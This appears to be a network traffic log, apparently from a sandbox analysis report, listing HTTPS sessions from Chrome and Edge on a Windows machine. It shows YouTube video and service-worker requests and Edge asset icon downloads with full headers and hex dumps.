2024-01-17 23:35:02 UTC	1914	OUT	GET /videoplayback?expire=4270472996&ei=-uFNQh5txcmJSA7RUUvW6ti&ip=0.16.65.16&id=o-AFNUgc8ie4UDxg5BX6NylC1tYWE2UNTg0UhYW3BQWlr4o&itag=18&source=youtube&requiressl=yes&mh=X6&mm=458%2C23244%2C40999&mn=tIXQK%2CPFcB0%2CHv9lm&ms=tIXQK%2CPFcB0%2CHv9lm&mv=t&mvi=1&pl=26&ctier=L&initcwndbps=6086012&siu=1&spc=YMyTvzafjmQEXNneymJ8VxaRI9K39WIY_jBqFPfolJ0A&vprv=1&svpuc=1&mime=video%2Fmp4&ns=AdU1asG7fzzfAPcTr4VrvGXP&cnr=26&ratebypass=yes&dur=68643808&lmt=8594843229343748&mt=4270472996&fvip=3&c=WEB&txp=6086012&n=gjtr8jSjFest6pec&sparams=expire%2Cei%2Cip%2Cid%2Citag%2Csource%2Crequiressl%2Csiu%2Cspc%2Cvprv%2Csvpuc%2Cmime%2Cns%2Ccnr%2Cratebypass%2Cdur%2Clmt&sig=zppDUWKj_-KGjMPGAZpTOOnHKEUBYAEhYh9X27xzTHUmBCnJfiwDIsNw-ASpImB7kBmn0qqYETNnUCEbzpGh38bub8qcYyUhfxngZbKe6S_A&lsparams=mh%2Cmm%2Cmn%2Cms%2Cmv%2Cmvi%2Cpl%2Cinitcwndbps&lsig=zppDUWKj_-KGjMPGAZpTOOnHKEUBYAEhYh9X27xzTHUmBCnJfiwDIsNw-ASpImB7kBmn0qqYETNnUCEbzpGh38bub8qcYyUhfxngZbKe6S_A HTTP/1.1 Host: rr1---sn-q4fl6nlz.googlevideo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.134" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.youtube.com X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.youtube.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-17 23:35:03 UTC	785	IN	HTTP/1.1 403 Forbidden Last-Modified: Wed, 02 May 2007 10:26:10 GMT Content-Type: text/plain Content-Length: 0 Connection: close Access-Control-Allow-Origin: https://www.youtube.com Access-Control-Allow-Credentials: true Timing-Allow-Origin: https://www.youtube.com Access-Control-Expose-Headers: Client-Protocol, Content-Length, Content-Type, X-Bandwidth-Est, X-Bandwidth-Est2, X-Bandwidth-Est3, X-Bandwidth-App-Limited, X-Bandwidth-Est-App-Limited, X-Bandwidth-Est-Comp, X-Bandwidth-Avg, X-Head-Time-Millis, X-Head-Time-Sec, X-Head-Seqnum, X-Response-Itag, X-Restrict-Formats-Hint, X-Sequence-Num, X-Segment-Lmt, X-Walltime-Ms Vary: Origin Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Date: Wed, 17 Jan 2024 23:35:02 GMT Server: gvs 1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.6	49904	74.125.1.166	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:02 UTC	1906	OUT	GET /videoplayback?expire=4270472996&ei=-uFNQh5txcmJSA7RUUvW6ti&ip=0.16.65.16&id=o-AFNUgc8ie4UDxg5BX6NylC1tYWE2UNTg0UhYW3BQWlr4o&itag=18&source=youtube&requiressl=yes&mh=X6&mm=458%2C23244%2C40999&mn=tIXQK%2CPFcB0%2CHv9lm&ms=tIXQK%2CPFcB0%2CHv9lm&mv=t&mvi=1&pl=26&initcwndbps=6086012&siu=1&spc=YMyTvzafjmQEXNneymJ8VxaRI9K39WIY_jBqFPfolJ0A&vprv=1&svpuc=1&mime=video%2Fmp4&ns=AdU1asG7fzzfAPcTr4VrvGXP&cnr=26&ratebypass=yes&dur=68643808&lmt=8594843229343748&mt=4270472996&fvip=3&c=WEB&txp=6086012&n=gjtr8jSjFest6pec&sparams=expire%2Cei%2Cip%2Cid%2Citag%2Csource%2Crequiressl%2Csiu%2Cspc%2Cvprv%2Csvpuc%2Cmime%2Cns%2Ccnr%2Cratebypass%2Cdur%2Clmt&sig=zppDUWKj_-KGjMPGAZpTOOnHKEUBYAEhYh9X27xzTHUmBCnJfiwDIsNw-ASpImB7kBmn0qqYETNnUCEbzpGh38bub8qcYyUhfxngZbKe6S_A&lsparams=mh%2Cmm%2Cmn%2Cms%2Cmv%2Cmvi%2Cpl%2Cinitcwndbps&lsig=zppDUWKj_-KGjMPGAZpTOOnHKEUBYAEhYh9X27xzTHUmBCnJfiwDIsNw-ASpImB7kBmn0qqYETNnUCEbzpGh38bub8qcYyUhfxngZbKe6S_A HTTP/1.1 Host: rr1---sn-q4fl6nlz.googlevideo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.134" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.youtube.com X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.youtube.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-17 23:35:03 UTC	785	IN	HTTP/1.1 403 Forbidden Last-Modified: Wed, 02 May 2007 10:26:10 GMT Content-Type: text/plain Content-Length: 0 Connection: close Access-Control-Allow-Origin: https://www.youtube.com Access-Control-Allow-Credentials: true Timing-Allow-Origin: https://www.youtube.com Access-Control-Expose-Headers: Client-Protocol, Content-Length, Content-Type, X-Bandwidth-Est, X-Bandwidth-Est2, X-Bandwidth-Est3, X-Bandwidth-App-Limited, X-Bandwidth-Est-App-Limited, X-Bandwidth-Est-Comp, X-Bandwidth-Avg, X-Head-Time-Millis, X-Head-Time-Sec, X-Head-Seqnum, X-Response-Itag, X-Restrict-Formats-Hint, X-Sequence-Num, X-Segment-Lmt, X-Walltime-Ms Vary: Origin Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Date: Wed, 17 Jan 2024 23:35:02 GMT Server: gvs 1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.6	49905	13.107.246.40	443	8060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:03 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-01-17 23:35:03 UTC	528	IN	HTTP/1.1 200 OK Date: Wed, 17 Jan 2024 23:35:03 GMT Content-Type: image/png Content-Length: 1966 Connection: close Content-MD5: yR0FOE/y+aftchKyufDqXw== Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: 3361aad2-501e-0012-1e67-495c1b000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Cache-Control: public, max-age=604800 x-azure-ref: 20240117T233503Z-unxa6e3qq14mhe3acqwfx80xn400000000r0000000000g13 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-01-17 23:35:03 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.6	49906	142.251.40.238	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:03 UTC	746	OUT	GET /sw.js HTTP/1.1 Host: www.youtube.com Connection: keep-alive Cache-Control: max-age=0 Accept: / Service-Worker: script X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: serviceworker Referer: https://www.youtube.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: VISITOR_PRIVACY_METADATA=CgJERRIEEgAgRQ%3D%3D; CONSENT=PENDING+538; __Secure-YEC=CgtiU1BPUHlZdVg5ZyiMyKGtBjIKCgJERRIEEgAgRQ%3D%3D; PREF=tz=Europe.Zurich
2024-01-17 23:35:03 UTC	1861	IN	HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 X-Content-Type-Options: nosniff Expires: Wed, 17 Jan 2024 23:35:03 GMT Date: Wed, 17 Jan 2024 23:35:03 GMT Cache-Control: private, max-age=0 Strict-Transport-Security: max-age=31536000 X-Frame-Options: SAMEORIGIN Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Origin-Trial: AvC9UlR6RDk2crliDsFl66RWLnTbHrDbp+DiY6AYz/PNQ4G4tdUTjrHYr2sghbkhGQAVxb7jaPTHpEVBz0uzQwkAAAB4eyJvcmlnaW4iOiJodHRwczovL3lvdXR1YmUuY29tOjQ0MyIsImZlYXR1cmUiOiJXZWJWaWV3WFJlcXVlc3RlZFdpdGhEZXByZWNhdGlvbiIsImV4cGlyeSI6MTcxOTUzMjc5OSwiaXNTdWJkb21haW4iOnRydWV9 Report-To: {"group":"youtube_main","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/youtube_main"}]} Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factor=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin; report-to="youtube_main" P3P: CP="This is not a P3P policy! See http://support.google.com/accounts/answer/151657?hl=en for more info." Server: ESF X-XSS-Protection: 0 Set-Cookie: YSC=5Mm10cZ-erg; Domain=.youtube.com; Path=/; Secure; HttpOnly; SameSite=none Set-Cookie: VISITOR_INFO1_LIVE=; Domain=.youtube.com; Expires=Thu, 22-Apr-2021 23:35:03 GMT; Path=/; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version,Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-01-17 23:35:03 UTC	248	IN	Data Raw: 66 32 0d 0a 0a 20 20 73 65 6c 66 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 69 6e 73 74 61 6c 6c 27 2c 20 65 76 65 6e 74 20 3d 3e 20 7b 0a 20 20 20 20 65 76 65 6e 74 2e 77 61 69 74 55 6e 74 69 6c 28 73 65 6c 66 2e 73 6b 69 70 57 61 69 74 69 6e 67 28 29 29 3b 0a 20 20 7d 29 3b 0a 20 20 73 65 6c 66 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 61 63 74 69 76 61 74 65 27 2c 20 65 76 65 6e 74 20 3d 3e 20 7b 0a 20 20 20 20 65 76 65 6e 74 2e 77 61 69 74 55 6e 74 69 6c 28 0a 20 20 20 20 20 20 73 65 6c 66 2e 63 6c 69 65 6e 74 73 2e 63 6c 61 69 6d 28 29 2e 74 68 65 6e 28 28 29 20 3d 3e 20 73 65 6c 66 2e 72 65 67 69 73 74 72 61 74 69 6f 6e 2e 75 6e 72 65 67 69 73 74 65 72 28 29 29 29 3b 0a 20 20 7d 29 3b 0a 20 20 0d 0a Data Ascii: f2 self.addEventListener('install', event => { event.waitUntil(self.skipWaiting()); }); self.addEventListener('activate', event => { event.waitUntil( self.clients.claim().then(() => self.registration.unregister())); });
2024-01-17 23:35:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.6	49912	13.107.246.40	443	8060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:03 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-01-17 23:35:03 UTC	562	IN	HTTP/1.1 200 OK Date: Wed, 17 Jan 2024 23:35:03 GMT Content-Type: image/png Content-Length: 1751 Connection: close Content-MD5: ZORImplCDTT4skCQAy0O8w== Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: b1227448-901e-002d-0f9d-49ebc7000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Cache-Control: public, max-age=604800 x-azure-ref: 20240117T233503Z-5v4hk7xnrx4uxd4v2yg2tpq7qn0000000120000000003zgz X-Cache: TCP_MISS x-fd-int-roxy-purgeid: 59346683 Accept-Ranges: bytes
2024-01-17 23:35:03 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.6	49911	13.107.246.40	443	8060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:03 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-01-17 23:35:03 UTC	528	IN	HTTP/1.1 200 OK Date: Wed, 17 Jan 2024 23:35:03 GMT Content-Type: image/png Content-Length: 1427 Connection: close Content-MD5: Jcy20mbH7NvS9u1Vk/1CnQ== Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: 16a3ffc5-301e-006f-30f3-48c0d3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Cache-Control: public, max-age=604800 x-azure-ref: 20240117T233503Z-5ysqb65gv97s93ybbadzvtktw000000005y000000000081h X-Cache: TCP_HIT Accept-Ranges: bytes
2024-01-17 23:35:03 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.6	49910	13.107.246.40	443	8060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:03 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-01-17 23:35:03 UTC	529	IN	HTTP/1.1 200 OK Date: Wed, 17 Jan 2024 23:35:03 GMT Content-Type: image/png Content-Length: 2008 Connection: close Content-MD5: AAgpFFFnVya3tLN79BwQiw== Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: 70ae4411-701e-0068-339d-493656000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Cache-Control: public, max-age=604800 x-azure-ref: 20240117T233503Z-yebg7fdk6h0959869my72987dg00000000hg000000003ekf X-Cache: TCP_MISS Accept-Ranges: bytes
2024-01-17 23:35:03 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.6	49909	13.107.246.40	443	8060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:03 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-01-17 23:35:03 UTC	528	IN	HTTP/1.1 200 OK Date: Wed, 17 Jan 2024 23:35:03 GMT Content-Type: image/png Content-Length: 2229 Connection: close Content-MD5: m1+fngKXTssvJrBIRWryDg== Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: a61c2ba8-001e-0067-5467-49dba0000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Cache-Control: public, max-age=604800 x-azure-ref: 20240117T233503Z-yebg7fdk6h0959869my72987dg00000000rg0000000034nn X-Cache: TCP_HIT Accept-Ranges: bytes
2024-01-17 23:35:03 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.6	49908	13.107.246.40	443	8060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:03 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-01-17 23:35:03 UTC	528	IN	HTTP/1.1 200 OK Date: Wed, 17 Jan 2024 23:35:03 GMT Content-Type: image/png Content-Length: 1154 Connection: close Content-MD5: VINs+LbpDD4/JYhy3hkk5g== Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: 6493a2df-b01e-0031-046f-4933d0000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Cache-Control: public, max-age=604800 x-azure-ref: 20240117T233503Z-xruyp6d1g90y59pp506zgpbfhg00000000sg000000004my6 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-01-17 23:35:03 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: 